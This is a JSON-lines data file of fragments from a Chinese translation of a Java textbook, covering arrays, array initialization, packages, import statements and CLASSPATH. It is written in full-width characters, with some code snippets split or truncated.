    {"text": "ｉｎｔ［］ ａ２； ａ２ ＝ ａ１； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ２．ｌｅｎｇｔｈ； ｉ＋＋） ａ２［ｉ］＋＋； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ１．ｌｅｎｇｔｈ； ｉ＋＋） ｐｒｔ（＂ａ１［＂ ＋ ｉ ＋ ＂］ ＝ ＂ ＋ ａ１［ｉ］）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "这里也出现了一些新东西：所有数组都有一个本质成员（无论它们是对象数组还是基本类型数组），可对其 进行查询——但不是改变，从而获知数组内包含了多少个元素。"},
    {"text": "在这里，即使准备创建的是一个基本数据类型的数组，ｎｅｗ 也能正常地工作（ｎｅｗ 不会创建 非数组的基本类型）： ／／： ＡｒｒａｙＮｅｗ．ｊａｖａ ／／ Ｃｒｅａｔｉｎｇ ａｒｒａｙｓ ｗｉｔｈ ｎｅｗ． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＡｒｒａｙＮｅｗ ｛ ｓｔａｔｉｃ Ｒａｎｄｏｍ ｒａｎｄ ＝ ｎｅｗ Ｒａｎｄｏｍ（）； ｓｔａｔｉｃ ｉｎｔ ｐＲａｎｄ（ｉｎｔ ｍｏｄ） ｛ ｒｅｔｕｒｎ Ｍａｔｈ．ａｂｓ（ｒａｎｄ．ｎｅｘｔＩｎｔ（）） ％ ｍｏｄ ＋ １； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｎｔ［］ ａ； ａ ＝ ｎｅｗ ｉｎｔ［ｐＲａｎｄ（２０）］； ｐｒｔ（＂ｌｅｎｇｔｈ ｏｆ ａ ＝ ＂ ＋ ａ．ｌｅｎｇｔｈ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ．ｌｅｎｇｔｈ； ｉ＋＋） ｐｒｔ（＂ａ［＂ ＋ ｉ ＋ ＂］ ＝ ＂ ＋ ａ［ｉ］）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "请大家观察封装器类型 Ｉｎｔｅｇｅｒ，它是一个类，而非基本数据类型： ／／： ＡｒｒａｙＣｌａｓｓＯｂｊ．ｊａｖａ ／／ Ｃｒｅａｔｉｎｇ ａｎ ａｒｒａｙ ｏｆ ｎｏｎ －ｐｒｉｍｉｔｉｖｅ ｏｂｊｅｃｔｓ． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＡｒｒａｙＣｌａｓｓＯｂｊ ｛ ｓｔａｔｉｃ Ｒａｎｄｏｍ ｒａｎｄ ＝ ｎｅｗ Ｒａｎｄｏｍ（）； ｓｔａｔｉｃ ｉｎｔ ｐＲａｎｄ（ｉｎｔ ｍｏｄ） ｛ ｒｅｔｕｒｎ Ｍａｔｈ．ａｂｓ（ｒａｎｄ．ｎｅｘｔＩｎｔ（）） ％ ｍｏｄ ＋ １； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｎｔｅｇｅｒ［］ ａ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ［ｐＲａｎｄ（２０）］； ｐｒｔ（＂ｌｅｎｇｔｈ ｏｆ ａ ＝ ＂ ＋ ａ．ｌｅｎｇｔｈ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ １１７ ａ［ｉ］ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ（ｐＲａｎｄ（５００））； ｐｒｔ（＂ａ［＂ ＋ ｉ ＋ ＂］ ＝ ＂ ＋ ａ［ｉ］）； ｝ ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｝ ｝ ／／／：￣ 在这儿，甚至在 ｎｅｗ 调用后才开始创建数组： Ｉｎｔｅｇｅｒ［］ ａ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ［ｐＲａｎｄ（２０）］； 它只是一个句柄数组，而且除非通过创建一个新的 Ｉｎｔｅｇｅｒ 对象，从而初始化了对象句柄，否则初始化进程 不会结束： ａ［ｉ］ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ（ｐＲａｎｄ（５００））；"},
    {"text": "可采用两种形式，第一种是 Ｊａｖａ １．０ 允许的唯一形式。 第二种 （等价）形式自 Ｊａｖａ １．１ 才开始提供支持： ／／： ＡｒｒａｙＩｎｉｔ．ｊａｖａ ／／ Ａｒｒａｙ ｉｎｉｔｉａｌｉｚａｔｉｏｎ ｐｕｂｌｉｃ ｃｌａｓｓ ＡｒｒａｙＩｎｉｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｎｔｅｇｅｒ［］ ａ ＝ ｛ ｎｅｗ Ｉｎｔｅｇｅｒ（１）， ｎｅｗ Ｉｎｔｅｇｅｒ（２）， ｎｅｗ Ｉｎｔｅｇｅｒ（３）， ｝； ／／ Ｊａｖａ １．１ ｏｎｌｙ： Ｉｎｔｅｇｅｒ［］ ｂ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ［］ ｛ ｎｅｗ Ｉｎｔｅｇｅｒ（１）， ｎｅｗ Ｉｎｔｅｇｅｒ（２）， ｎｅｗ Ｉｎｔｅｇｅｒ（３）， ｝；"},
    {"text": "数组初始化的第二种形式（Ｊａｖａ １．１ 开始支持）提供了一种更简便的语法，可创建和调用方法，获得与 Ｃ 的 “变量参数列表”（Ｃ 通常把它简称为“变参表”）一致的效果。"},
    {"text": "由于所有类最终都是从通用的根类 Ｏｂｊｅｃｔ 中继承的，所以能创建一 个方法，令其获取一个 Ｏｂｊｅｃｔ 数组，并象下面这样调用它： ／／： ＶａｒＡｒｇｓ．ｊａｖａ ／／ Ｕｓｉｎｇ ｔｈｅ Ｊａｖａ １．１ ａｒｒａｙ ｓｙｎｔａｘ ｔｏ ｃｒｅａｔｅ ／／ ｖａｒｉａｂｌｅ ａｒｇｕｍｅ ｎｔ ｌｉｓｔｓ ｃｌａｓｓ Ａ ｛ ｉｎｔ ｉ；"},
    {"text": "｝ １１８ ｐｕｂｌｉｃ ｃｌａｓｓ ＶａｒＡｒｇｓ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｆ（Ｏｂｊｅｃｔ［］ ｘ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｘ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｘ［ｉ］）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆ（ｎｅｗ Ｏｂｊｅｃｔ［］ ｛ ｎｅｗ Ｉｎｔｅｇｅｒ（４７）， ｎｅｗ ＶａｒＡｒｇｓ（）， ｎｅｗ Ｆｌｏａｔ（３．１４）， ｎｅｗ Ｄｏｕｂｌｅ（１１．１１） ｝）； ｆ（ｎｅｗ Ｏｂｊｅｃｔ［］ ｛＂ｏｎｅ＂， ＂ｔｗｏ＂， ＂ｔｈｒｅｅ＂ ｝）； ｆ（ｎｅｗ Ｏｂｊｅｃｔ［］ ｛ｎｅｗ Ａ（）， ｎｅｗ Ａ（）， ｎｅｗ Ａ（）｝）；"},
    {"text": "｝ ｝ ／／／：￣ 此时，我们对这些未知的对象并不能采取太多的操作，而且这个程序利用自动 Ｓｔｒｉｎｇ 转换对每个 Ｏｂｊｅｃｔ 做 一些有用的事情。"},
    {"text": "４ ． ５ ． １ 多维数组 在 Ｊａｖａ 里可以方便地创建多维数组： ／／： ＭｕｌｔｉＤｉｍＡｒｒａｙ．ｊａｖａ ／／ Ｃｒｅａｔｉｎｇ ｍｕｌｔｉｄｉｍｅｎｓｉｏｎａｌ ａｒｒａｙｓ． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＭｕｌｔｉＤｉｍＡｒｒａｙ ｛ ｓｔａｔｉｃ Ｒａｎｄｏｍ ｒａｎｄ ＝ ｎｅｗ Ｒａｎｄｏｍ（）； ｓｔａｔｉｃ ｉｎｔ ｐＲａｎｄ（ｉｎｔ ｍｏｄ） ｛ ｒｅｔｕｒｎ Ｍａｔｈ．ａｂｓ（ｒａｎｄ．ｎｅｘｔＩｎｔ（）） ％ ｍｏｄ ＋ １； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｎｔ［］［］ ａ１ ＝ ｛ ｛ １， ２， ３， ｝， ｛ ４， ５， ６， ｝， ｝； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ１．ｌｅｎｇｔｈ； ｉ＋＋） ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ａ１［ｉ］．ｌｅｎｇｔｈ； ｊ＋＋） ｐｒｔ（＂ａ１［＂ ＋ ｉ ＋ ＂］［＂ ＋ ｊ ＋ ＂］ ＝ ＂ ＋ ａ１［ｉ］［ｊ］）； ／／ ３－Ｄ ａｒｒａｙ ｗｉｔｈ ｆｉｘｅｄ ｌｅｎｇｔｈ： ｉｎｔ［］［］［］ ａ２ ＝ ｎｅｗ ｉｎｔ［２］［２］［４］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ２．ｌｅｎｇｔｈ； ｉ＋＋） ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ａ２［ｉ］．ｌｅｎｇｔｈ； ｊ＋＋） ｆｏｒ（ｉｎｔ ｋ ＝ ０； ｋ ＜ ａ２［ｉ］［ｊ］．ｌｅｎｇｔｈ； ｋ＋＋） ｐｒｔ（＂ａ２［＂ ＋ ｉ ＋ ＂］［＂ ＋ ｊ ＋ ＂］［＂ ＋ ｋ ＋ ＂］ ＝ ＂ ＋ ａ２［ｉ］［ｊ］［ｋ］）； ／／ ３－Ｄ ａｒｒａｙ ｗｉｔｈ ｖａｒｉｅｄ－ｌｅｎｇｔｈ ｖｅｃｔｏｒｓ： ｉｎｔ［］［］［］ ａ３ ＝ ｎｅｗ ｉｎｔ［ｐＲａｎｄ（７）］［］［］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ３．ｌｅｎｇｔｈ； ｉ＋＋） ｛ １１９ ａ３［ｉ］ ＝ ｎｅｗ ｉｎｔ［ｐＲａｎｄ（５）］［］； ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ａ３［ｉ］．ｌｅｎｇｔｈ； ｊ＋＋） ａ３［ｉ］［ｊ］ ＝ ｎｅｗ ｉｎｔ［ｐＲａｎｄ（５）］； ｝ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ３．ｌｅｎｇｔｈ； ｉ＋＋） ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ａ３［ｉ］．ｌｅｎｇｔｈ； ｊ＋＋） ｆｏｒ（ｉｎｔ ｋ ＝ ０； ｋ ＜ ａ３［ｉ］［ｊ］．ｌｅｎｇｔｈ； ｋ＋＋） ｐｒｔ（＂ａ３［＂ ＋ ｉ ＋ ＂］［＂ ＋ ｊ ＋ ＂］［＂ ＋ ｋ ＋ ＂］ ＝ ＂ ＋ ａ３［ｉ］［ｊ］［ｋ］）； ／／ Ａｒｒａｙ ｏｆ ｎｏｎ－ｐｒｉｍｉｔｉｖｅ ｏｂｊｅｃｔｓ： Ｉｎｔｅｇｅｒ［］［］ ａ４ ＝ ｛ ｛ ｎｅｗ Ｉｎｔｅｇｅｒ（１）， ｎｅｗ Ｉｎｔｅｇｅｒ（２）｝， ｛ ｎｅｗ Ｉｎｔｅｇｅｒ（３）， ｎｅｗ Ｉｎｔｅｇｅｒ（４）｝， ｛ ｎｅｗ Ｉｎｔｅｇｅｒ（５）， ｎｅｗ Ｉｎｔｅｇｅｒ（６）｝， ｝； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ４．ｌｅｎｇｔｈ； ｉ＋＋） ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ａ４［ｉ］．ｌｅｎｇｔｈ； ｊ＋＋） ｐｒｔ（＂ａ４［＂ ＋ ｉ ＋ ＂］［＂ ＋ ｊ ＋ ＂］ ＝ ＂ ＋ ａ４［ｉ］［ｊ］）； Ｉｎｔｅｇｅｒ［］［］ ａ５； ａ５ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ［３］［］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ５．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ａ５［ｉ］ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ［３］； ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ａ５［ｉ］．ｌｅｎｇｔｈ； ｊ＋＋） ａ５［ｉ］［ｊ］ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ（ｉ＊ｊ）； ｝ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ５．ｌｅｎｇｔｈ； ｉ＋＋） ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ａ５［ｉ］．ｌｅｎｇｔｈ； ｊ＋＋） ｐｒｔ（＂ａ５［＂ ＋ ｉ ＋ ＂］［＂ ＋ ｊ ＋ ＂］ ＝ ＂ ＋ ａ５［ｉ］［ｊ］）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "但第三个例子却向大家揭示出构成矩阵的每个矢量都可以有任意的长度： ｉｎｔ［］［］［］ ａ３ ＝ ｎｅｗ ｉｎｔ［ｐＲａｎｄ（７）］［］［］；"},
    {"text": "１２０ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ３．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ａ３［ｉ］ ＝ ｎｅｗ ｉｎｔ［ｐＲａｎｄ（５）］［］； ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ａ３［ｉ］．ｌｅｎｇｔｈ； ｊ＋＋） ａ３［ｉ］［ｊ］ ＝ ｎｅｗ ｉｎｔ［ｐＲａｎｄ（５）］；"},
    {"text": "这从第四个例子可以看出，它向我们演示了用花括号收集多个 ｎｅｗ 表达式的能力： Ｉｎｔｅｇｅｒ［］［］ ａ４ ＝ ｛ ｛ ｎｅｗ Ｉｎｔｅｇｅｒ（１）， ｎｅｗ Ｉｎｔｅｇｅｒ（２）｝， ｛ ｎｅｗ Ｉｎｔｅｇｅｒ（３）， ｎｅｗ Ｉｎｔｅｇｅｒ（４）｝， ｛ ｎｅｗ Ｉｎｔｅｇｅｒ（５）， ｎｅｗ Ｉｎｔｅｇｅｒ（６）｝， ｝；"},
    {"text": "ａ５ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ［３］［］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ５．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ａ５［ｉ］ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ［３］； ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ａ５［ｉ］．ｌｅｎｇｔｈ； ｊ＋＋） ａ５［ｉ］［ｊ］ ＝ ｎｅｗ Ｉｎｔｅｇｅｒ（ｉ＊ｊ）； ｝ ｉ＊ｊ 只是在 Ｉｎｔｅｇｅｒ 里置了一个有趣的值。"},
    {"text": "随着这一情况的改观，我们应该能判断出垃圾收集器的开销是 否使 Ｊａｖａ 不适合做一些特定的工作（其中一个问题是垃圾收集器不可预测的性质）。"},
    {"text": "那个库的用户（客户程序员）必须能依赖自己使用的那一部分，并知道一 旦新版本的库出台，自己不需要改写代码。 而与此相反，库的创建者必须能自由地进行修改与改进，同时保 证客户程序员代码不会受到那些变动的影响。"},
    {"text": "这种访问控制的级别在“最大访问”和“最小访问”的范围之间，分别包括： ｐｕｂｌｉｃ，“友好的”（无关键字），ｐｒｏｔｅｃｔｅｄ 以及 ｐｒｉｖａｔｅ。"},
    {"text": "根据前一段的描述，大家或许已总结出作为一 名库设计者，应将所有东西都尽可能保持为“ｐｒｉｖａｔｅ”（私有），并只展示出那些想让客户程序员使用的方 法。"},
    {"text": "这种思路是完全正确的，尽管它有点儿违背那些用其他语言（特别是 Ｃ）编程的人的直觉，那些人习惯 于在没有任何限制的情况下访问所有东西。"},
    {"text": "由于 Ｖｅｃｔｏｒ 位于 ｊａｖａ．ｕｔｉｌ 里，所以现在要么指定完整名称“ｊａｖａ．ｕｔｉｌ．Ｖｅｃｔｏｒ”（可省略 ｉｍｐｏｒｔ 语句），要么简单地指定 一个“Ｖｅｃｔｏｒ”（因为 ｉｍｐｏｒｔ 是默认的）。 若想导入单独一个类，可在 ｉｍｐｏｒｔ 语句里指定那个类的名字： ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．Ｖｅｃｔｏｒ；"},
    {"text": "正是由于存在名字潜在的冲突，所以特别有必要对 Ｊａｖａ 中的命名空间进行完整的控制，而且需要创建一个完 全独一无二的名字，无论因特网存在什么样的限制。"},
    {"text": "迄今为止，本书的大多数例子都仅存在于单个文件中，而且设计成局部（本地）使用，没有同包名发生冲突 （在这种情况下，类名置于“默认包”内）。"},
    {"text": "为 Ｊａｖａ 创建一个源码文件的时候，它通常叫作一个“编辑单元”（有时也叫作“翻译单元”）。 每个编译单 元都必须有一个以．ｊａｖａ 结尾的名字。 而且在编译单元的内部，可以有一个公共（ｐｕｂｌｉｃ）类，它必须拥有 与文件相同的名字（包括大小写形式，但排除．ｊａｖａ 文件扩展名）。"},
    {"text": "那个编译单元剩下的类（如果 有的话）可在那个包外面的世界面前隐藏起来，因为它们并非“公共”的（非 ｐｕｂｌｉｃ），而且它们由用于主 １２３ ｐｕｂｌｉｃ 类的“支撑”类组成。"},
    {"text": "如以前用一 种汇编语言写过程序，那么可能已习惯编译器先分割出一种过渡形式（通常是一个．ｏｂｊ 文件），再用一个链 接器将其与其他东西封装到一起（生成一个可执行文件），或者与一个库封装到一起（生成一个库）。"},
    {"text": "每个文件都有一个 ｐｕｂｌｉｃ 类（并没强迫使用一个 ｐｕｂｌｉｃ 类，但这种情况最 很典型的），所以每个文件都有一个组件。 如果想将所有这些组件（它们在各自独立的．ｊａｖａ 和．ｃｌａｓｓ 文件 里）都归纳到一起，那么 ｐａｃｋａｇｅ 关键字就可以发挥作用）。"},
    {"text": "该语句的作用是指出这个编译单元属于名为 ｍｙｐａｃｋａｇｅ 的一个库的一部分。 或者换句话说，它表明这个编译单元内的 ｐｕｂｌｉｃ 类名位于 ｍｙｐａｃｋａｇｅ 这个名 字的下面。"},
    {"text": "它意味着在那个文件有一个、而且只能有一个 ｐｕｂｌｉｃ 类。 而且那个类 的名字必须是 ＭｙＣｌａｓｓ（包括大小写形式）： ｐａｃｋａｇｅ ｍｙｐａｃｋａｇｅ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＭｙＣｌａｓｓ ｛ ／／ ． ． ． 现在，如果有人想使用 ＭｙＣｌａｓｓ，或者想使用 ｍｙｐａｃｋａｇｅ 内的其他任何 ｐｕｂｌｉｃ 类，他们必须用 ｉｍｐｏｒｔ 关键 字激活 ｍｙｐａｃｋａｇｅ 内的名字，使它们能够使用。"},
    {"text": "另一个办法则是指定完整的名称： ｍｙｐａｃｋａｇｅ．ＭｙＣｌａｓｓ ｍ ＝ ｎｅｗ ｍｙｐａｃｋａｇｅ．ＭｙＣｌａｓｓ（）； ｉｍｐｏｒｔ 关键字则可将其变得简洁得多： ｉｍｐｏｒｔ ｍｙｐａｃｋａｇｅ．＊； ／／ ． ． ． ＭｙＣｌａｓｓ ｍ ＝ ｎｅｗ ＭｙＣｌａｓｓ（）；"},
    {"text": "作为一名库设计者，一定要记住 ｐａｃｋａｇｅ 和 ｉｍｐｏｒｔ 关键字允许我们做的事情就是分割单个全局命名空间，保 证我们不会遇到名字的冲突——无论有多少人使用因特网，也无论多少人用 Ｊａｖａ 编写自己的类。"},
    {"text": "５ ． １ ． １ 创建独一无二的包名 大家或许已注意到这样一个事实：由于一个包永远不会真的“封装”到单独一个文件里面，它可由多 个．ｃｌａｓｓ 文件构成，所以局面可能稍微有些混乱。"},
    {"text": "由于因特网域名肯定是独一无二的（由 ＩｎｔｅｒＮＩＣ 保证——注释②，它控制着域名的分配），所以假如按这一约定行事，ｐａｃｋａｇｅ 的名称就肯定不会 重复，所以永远不会遇到名称冲突的问题。 换句话说，除非将自己的域名转让给其他人，而且对方也按照相 同的路径名编写 Ｊａｖａ 代码，否则名字的冲突是永远不会出现的。"},
    {"text": "这样一来，Ｊａｖａ 程序运行并需要装 载．ｃｌａｓｓ 文件的时候（这是动态进行的，在程序需要创建属于那个类的一个对象，或者首次访问那个类的一 个 ｓｔａｔｉｃ 成员时），它就可以找到．ｃｌａｓｓ 文件驻留的那个目录。"},
    {"text": "Ｊａｖａ 解释器的工作程序如下：首先，它找到环境变量 ＣＬＡＳＳＰＡＴＨ（将 Ｊａｖａ 或者具有 Ｊａｖａ 解释能力的工具— —如浏览器——安装到机器中时，通过操作系统进行设定）。"},
    {"text": "从那个根开始，解释器会寻找包名，并将每个点 号（句点）替换成一个斜杠，从而生成从 ＣＬＡＳＳＰＡＴＨ 根开始的一个路径名（所以 ｐａｃｋａｇｅ ｆｏｏ．ｂａｒ．ｂａｚ 会变 成 ｆｏｏ＼ｂａｒ＼ｂａｚ 或者 ｆｏｏ／ｂａｒ／ｂａｚ；"},
    {"text": "将其反转过来后， ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ 就为我的类创建了独一无二的全局名称（ｃｏｍ，ｅｄｕ，ｏｒｇ，ｎｅｔ 等扩展名以前在 Ｊａｖａ 包中都 是大写的，但自 Ｊａｖａ １．２ 以来，这种情况已发生了变化。"},
    {"text": "由于决定创建一个名 为 ｕｔｉｌ 的库，我可以进一步地分割它，所以最后得到的包名如下： ｐａｃｋａｇｅ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｕｔｉｌ； 现在，可将这个包名作为下述两个文件的“命名空间”使用： ／／： Ｖｅｃｔｏｒ．ｊａｖａ ／／ Ｃｒｅａｔｉｎｇ ａ ｐａｃｋａｇｅ ｐａｃｋａｇｅ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｕｔｉｌ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｖｅｃｔｏｒ ｛ ｐｕｂｌｉｃ Ｖｅｃｔｏｒ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｕｔｉｌ．Ｖｅｃｔｏｒ＂）；"},
    {"text": "第二个文件表面看起来是类似 的： ／／： Ｌｉｓｔ．ｊａｖａ ／／ Ｃｒｅａｔｉｎｇ ａ ｐａｃｋａｇｅ ｐａｃｋａｇｅ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｕｔｉｌ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｌｉｓｔ ｛ ｐｕｂｌｉｃ Ｌｉｓｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｕｔｉｌ．Ｌｉｓｔ＂）；"},
    {"text": "｝ ｝ ／／／：￣ 这两个文件都置于我自己系统的一个子目录中： Ｃ：＼ＤＯＣ＼ＪａｖａＴ＼ｃｏｍ＼ｂｒｕｃｅｅｃｋｅｌ＼ｕｔｉｌ 若通过它往回走，就会发现包名 ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｕｔｉｌ，但路径的第一部分又是什么呢？"},
    {"text": "然而，使用 ＪＡＲ 文件时要注意一个问题：必须将 ＪＡＲ 文件的名字置于类路径里，而不仅仅是它所在的路径。 所以对一个名为 ｇｒａｐｅ．ｊａｒ 的 ＪＡＲ 文件来说，我们的 类路径需要包括： ＣＬＡＳＳＰＡＴＨ＝．；"},
    {"text": "Ｃ：＼ｆｌａｖｏｒｓ＼ｇｒａｐｅ．ｊａｒ 正确设置好类路径后，可将下面这个文件置于任何目录里（若在执行该程序时遇到麻烦，请参见第 ３ 章的 ３．１．２ 小节“赋值”）： ／／： ＬｉｂＴｅｓｔ．ｊａｖａ ／／ Ｕｓｅｓ ｔｈｅ ｌｉｂｒａｒｙ ｐａｃｋａｇｅ ｃ０５；"},
    {"text": "ｉｍｐｏｒｔ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＬｉｂＴｅｓｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； Ｌｉｓｔ ｌ ＝ ｎｅｗ Ｌｉｓｔ（）；"},
    {"text": "｝ ｝ ／／／：￣ 编译器遇到 ｉｍｐｏｒｔ 语句后，它会搜索由 ＣＬＡＳＳＰＡＴＨ 指定的目录，查找子目录 ｃｏｍ＼ｂｒｕｃｅｅｃｋｅｌ＼ｕｔｉｌ，然后查 找名称适当的已编译文件（对于 Ｖｅｃｔｏｒ 是 Ｖｅｃｔｏｒ．ｃｌａｓｓ，对于 Ｌｉｓｔ 则是 Ｌｉｓｔ．ｃｌａｓｓ）。"},
    {"text": "１． 自动编译 为导入的类首次创建一个对象时（或者访问一个类的 ｓｔａｔｉｃ 成员时），编译器会在适当的目录里寻找同名 的．ｃｌａｓｓ 文件（所以如果创建类 Ｘ 的一个对象，就应该是 Ｘ．ｃｌａｓｓ）。"},
    {"text": "然而，只要冲突并不真的发生，那么 就不会产生任何问题——这当然是最理想的情况，因为否则的话，就需要进行大量编程工作，防范那些可能 可能永远也不会发生的冲突。"},
    {"text": "例如，假设我想使用标准的 Ｊａｖａ Ｖｅｃｔｏｒ，那么必须象下面这样编程： ｊａｖａ．ｕｔｉｌ．Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ ｊａｖａ．ｕｔｉｌ．Ｖｅｃｔｏｒ（）；"},
    {"text": "由于它（与 ＣＬＡＳＳＰＡＴＨ 一起）完整指定了那个 Ｖｅｃｔｏｒ 的位置，所以不再需要 ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊语句，除 非还想使用来自 ｊａｖａ．ｕｔｉｌ 的其他东西。"},
    {"text": "它可以是名为 ｔｏｏｌｓ 的一个包（ｐａｃｋａｇｅ）的 一部分： ／／： Ｐ．ｊａｖａ １２６ ／／ Ｔｈｅ Ｐ．ｒｉｎｔ ＆ Ｐ．ｒｉｎｔｌｎ ｓｈｏｒｔｈａｎｄ ｐａｃｋａｇｅ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｐ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔ（Ｏｂｊｅｃｔ ｏｂｊ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｏｂｊ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｓ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔ（ｃｈａｒ［］ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｓ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔ（ｃｈａｒ ｃ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｃ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔ（ｉｎｔ ｉ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｉ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔ（ｌｏｎｇ ｌ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｌ）； ｝ 